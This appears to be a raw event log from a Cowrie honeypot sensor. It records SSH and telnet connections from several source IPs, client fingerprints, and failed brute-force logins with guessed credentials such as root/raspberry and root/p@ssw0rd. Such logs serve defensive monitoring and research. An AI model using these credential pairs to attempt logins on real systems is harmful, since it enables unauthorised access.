{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:45.476897Z","src_ip":"45.153.34.112","session":"718e0048ad20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adminuser","password":"123456","message":"login attempt [adminuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:45.871239Z","src_ip":"45.153.34.112","session":"718e0048ad20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.122.127","src_port":58434,"dst_ip":"10.17.0.5","dst_port":22,"session":"b160c3eb1036","protocol":"ssh","message":"New connection: 43.173.122.127:58434 (10.17.0.5:22) [session: b160c3eb1036]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:46.713362Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:46.717530Z","src_ip":"43.173.122.127","session":"b160c3eb1036","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:46.784985Z","src_ip":"43.173.122.127","session":"b160c3eb1036","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:46.956138Z","src_ip":"45.153.34.112","session":"718e0048ad20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"raspberry","message":"login attempt [root/raspberry] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:47.097110Z","src_ip":"43.173.122.127","session":"b160c3eb1036","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:48.168229Z","src_ip":"43.173.122.127","session":"b160c3eb1036","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.821929693222046,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:48.556636Z","src_ip":"192.119.13.58","session":"80ec4b620350","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.9.145.130","src_port":42550,"dst_ip":"10.17.0.5","dst_port":22,"session":"0322e0385ef6","protocol":"ssh","message":"New connection: 81.9.145.130:42550 (10.17.0.5:22) [session: 0322e0385ef6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:49.066550Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:49.070424Z","src_ip":"81.9.145.130","session":"0322e0385ef6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":52658,"dst_ip":"10.17.0.5","dst_port":22,"session":"226bb98a60de","protocol":"ssh","message":"New connection: 45.153.34.112:52658 (10.17.0.5:22) [session: 226bb98a60de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:49.122373Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:49.126299Z","src_ip":"45.153.34.112","session":"226bb98a60de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:49.185462Z","src_ip":"81.9.145.130","session":"0322e0385ef6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:49.211956Z","src_ip":"45.153.34.112","session":"226bb98a60de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.963154077529907,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:49.433691Z","src_ip":"192.119.13.58","session":"471db502330b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"aiuser","password":"aiuser","message":"login attempt [aiuser/aiuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:49.462881Z","src_ip":"45.153.34.112","session":"226bb98a60de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"domino","message":"login attempt [root/domino] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:49.676363Z","src_ip":"81.9.145.130","session":"0322e0385ef6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.693217277526855,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:49.875841Z","src_ip":"192.119.13.58","session":"8b5e4b202ff9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:50.651080Z","src_ip":"45.153.34.112","session":"226bb98a60de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:50.793470Z","src_ip":"81.9.145.130","session":"0322e0385ef6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.66.52.41","src_port":49751,"dst_ip":"10.17.0.5","dst_port":22,"session":"7afca7be0c54","protocol":"ssh","message":"New connection: 45.66.52.41:49751 (10.17.0.5:22) [session: 7afca7be0c54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:51.695968Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:51.700939Z","src_ip":"45.66.52.41","session":"7afca7be0c54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:52.054758Z","src_ip":"45.66.52.41","session":"7afca7be0c54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":52336,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c794b4eee06","protocol":"ssh","message":"New connection: 45.153.34.112:52336 (10.17.0.5:22) [session: 3c794b4eee06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:52.619362Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:52.624348Z","src_ip":"45.153.34.112","session":"3c794b4eee06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:52.706896Z","src_ip":"45.153.34.112","session":"3c794b4eee06","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"welcome12","message":"login attempt [root/welcome12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:52.814555Z","src_ip":"45.66.52.41","session":"7afca7be0c54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p@ssw0rd","message":"login attempt [root/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:52.959741Z","src_ip":"45.153.34.112","session":"3c794b4eee06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40564,"dst_ip":"10.17.0.5","dst_port":23,"session":"c4a82b806f72","protocol":"telnet","message":"New connection: 192.119.13.58:40564 (10.17.0.5:23) [session: c4a82b806f72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:53.137341Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:53.992047Z","src_ip":"45.66.52.41","session":"7afca7be0c54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:54.044703Z","src_ip":"45.153.34.112","session":"3c794b4eee06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.36.39","src_port":36590,"dst_ip":"10.17.0.5","dst_port":22,"session":"8bf7e4f1fbd2","protocol":"ssh","message":"New connection: 43.130.36.39:36590 (10.17.0.5:22) [session: 8bf7e4f1fbd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:54.519204Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:54.524278Z","src_ip":"43.130.36.39","session":"8bf7e4f1fbd2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46544,"dst_ip":"10.17.0.5","dst_port":23,"session":"b30191628fab","protocol":"telnet","message":"New connection: 192.119.13.58:46544 (10.17.0.5:23) [session: b30191628fab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:54.590232Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:54.596106Z","src_ip":"43.130.36.39","session":"8bf7e4f1fbd2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"daemon","password":"smoker666","message":"login attempt [daemon/smoker666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:54.942479Z","src_ip":"43.130.36.39","session":"8bf7e4f1fbd2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:56.015051Z","src_ip":"43.130.36.39","session":"8bf7e4f1fbd2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":52338,"dst_ip":"10.17.0.5","dst_port":22,"session":"d93511e418b8","protocol":"ssh","message":"New connection: 45.153.34.112:52338 (10.17.0.5:22) [session: d93511e418b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:56.361383Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:56.366626Z","src_ip":"45.153.34.112","session":"d93511e418b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:56.449151Z","src_ip":"45.153.34.112","session":"d93511e418b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.35646629333496,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:56.569006Z","src_ip":"192.119.13.58","session":"377336ddb22d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"edward","password":"123456","message":"login attempt [edward/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:56.696414Z","src_ip":"45.153.34.112","session":"d93511e418b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.252151012420654,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:57.031070Z","src_ip":"192.119.13.58","session":"b5effea821d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:57.936293Z","src_ip":"45.153.34.112","session":"d93511e418b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":15.044914245605469,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:57.963710Z","src_ip":"190.0.81.201","session":"e26f7b26ace3","protocol":"telnet"}
